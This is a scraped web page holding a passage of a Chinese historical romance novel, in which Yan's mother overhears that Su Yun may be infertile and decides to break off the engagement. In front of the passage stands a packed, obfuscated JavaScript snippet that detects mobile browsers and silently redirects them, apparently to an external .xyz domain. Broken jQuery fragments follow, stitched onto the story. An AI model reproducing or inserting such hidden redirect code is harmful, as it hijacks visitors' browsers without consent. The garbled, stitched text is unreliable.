;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540633|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快点滚下去！” 说罢用手上帕子帮严母擦拭，嘴上不住道着歉。 严朝闻用袖子蘸去母亲脸上茶汤，眼睛却忍不住，朝着那逃出去的身影瞥去。 “好哇，好哇！”严母气得浑身发抖，抬手指向林氏眉间，“你，你竟纵容侍女行此下作之举，我跟你没完！” 不等她再发作，林氏顺势抓住她的手，按了下去，“严夫人，您消消气，我先带您去换身衣裳，您再骂我也不迟。” 严母这才反应过来，低头一看，忙抽回手挡在胸前。 林氏从案上抓起一把团扇塞到她手里，又命玉奴先行一步去准备衣裳，随后道：“朝闻，你在此稍坐，严夫人，请吧。” 严朝闻点头行礼，“有劳苏夫人了。” 严母咬牙切齿，却不得不忍下来。 林氏带路，从正堂后门出来，经过游廊，穿过内院，来到一间厢房。 “严夫人，这身衣裳是新做的，刚刚浆洗过，没上过身。”林氏将衣裳递到严母手里，“您要是需要，就让玉奴伺候…” “不必！”严母冷冷拒绝，接过衣裳，进门之后“咣当”一声，将门关紧。 “呼——”林氏长舒一口气，可也没松快多久，眉头又蹙起来，吩咐玉奴，“快，你去寻家主，我这话都说尽了。” 玉奴忙应下。 林氏走到不远处的石桌前坐下，疲乏地捶了捶腿。 再说严母，在厢房内换好衣裳，又对着铜镜理了理妆，在擦拭额发时，越想越气，最后将帕子甩在案上。 “她一定是故意的，想叫我难堪！这一家子人，没一个好东西！”严母忿忿咒骂道。 “嘘——妹妹小声些，别叫人听到了！” “哪里有人嘛！” 后窗传来清脆女声，好像正是苏韵，严母下意识闭了嘴，蹑手蹑脚贴到窗边，顺着窗缝往外看。 苏韵正在池边，百无聊赖地踢着石子，她嘟着嘴道：“听说朝闻阿兄此时就在府上，阿耶却不准我去看，为什么非要退亲不可啊？” 一旁年纪稍长的柔婉绿衣娘子道：“妹妹这个断绪之症，还未找到医治之法，三叔父也是怕妹妹嫁人之后，会因此遭到薄待，若是被休，以后可怎么见人呐？” 断绪之症？ 那不是难有子嗣吗？ 严母愕然，怕不小心发出声音，忙用手捂住嘴巴。 “郎中只说难有子嗣，又没说一定不会有。”苏韵扯着绿衣娘子的手臂，央求道，“朝闻阿兄不会嫌弃我的，阿姐，你帮我传信给他好不好？告诉他，退亲并非我所愿。” 严母双手在唇边交握，捏得指节咔咔作响。 原来苏家退亲是因为这个？ 她的心砰砰直跳。 一直以来，她毕生所愿，就是给儿子娶妻，为严家开枝散叶，并会尽其所能，托举他走上仕途，光耀严氏门楣，等到她下去跟夫君团圆时，也好有个交代。 可她差点让儿子娶了个不能生的！ 苏家算是有良心，没把这样的女儿推出去祸害人，真要让苏韵进了严家门，花上几年的时间看病治病，最后还不是要换人？这一来一去，想抱孙子不知道要晚上多少年！ 不行！ 严母蓦地起身，这亲必须退，今日就退！